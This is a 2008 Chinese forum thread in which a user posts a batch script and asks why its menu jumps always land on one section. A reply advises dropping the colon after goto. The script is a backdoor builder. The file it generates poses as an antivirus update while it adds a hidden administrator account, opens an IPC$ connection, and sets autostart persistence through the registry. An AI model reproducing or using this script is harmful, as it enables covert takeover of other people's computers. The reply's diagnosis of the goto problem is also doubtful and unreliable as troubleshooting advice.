Board logo

标题: 灵异的批处理! 吓.... [打印本页]

作者: setarphim     时间: 2008-8-6 15:26    标题: 灵异的批处理! 吓....

论坛终于恢复了,真高兴,今天,我写了一个批处理,有一个很奇怪的现象:
==============================================
E项.bat
==============================================
@echo off
:son
echo 所有的设置不能为空!
echo.
echo 连接端的名字是:ipc.bat
echo.
set /p szd=连接端生成在[如 E盘就输入E:\]:
set /p yip=你电脑的IP:
set /p tdl=被连接者登陆本机的帐户名:
set /p tdma=他帐户的密码:
set /p ndzh=在被连接者新建的用户名:
set /p ndma=你远程帐户的密码:
echo 配置成功!
pause.
cls
echo 固定配置:
echo 对方登陆IP:%yip% 对方登陆帐户:%tdl% 对方帐户密码:%tdma%
echo 你在他的电脑上建立的帐户:%ndzh% 帐户密码:%ndma% 帐户属性:管理员
echo =======================
echo 以下是连接端的添加项目.
echo =======================
echo .
echo z.你的控制端会自动启动.(但开机时弹出黑框)
echo q.你的远程帐户是隐藏的.
echo w.两者兼备.
set /p ndxz=[z.q.w] :
if %ndxz% ==z goto :z
if %ndxz% ==q goto :q
if %ndxz% ==w goto :w


::连接项目的选择项目
::啊!手麻了....

:z
echo 输入连接端你想放在对方的哪里? 如E:\hack\ipc.bat 就输入:E:\hack\ipc.bat
echo 一但确定了,你就必须放在那里,否则达不到自动启动的功能.
set /p dif=地方路径:
set 123=%dif%
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功.
:q
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功.
:w
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功!


本应按 z 跳到 z 的项下,按 w 跳到 w 的项下,对吧!
可当我按 z 和 w 都会跳到 q 项下!!!!
帮帮我啊!!!
作者: Climbing     时间: 2008-8-7 18:40
goto后面应该直接跟标签名,去掉那个冒号。为了避免不必要的重复,可以给标准加上适当的前缀。

例如:_z _ZZZ

if ... goto _zzz
...
:_zzz
...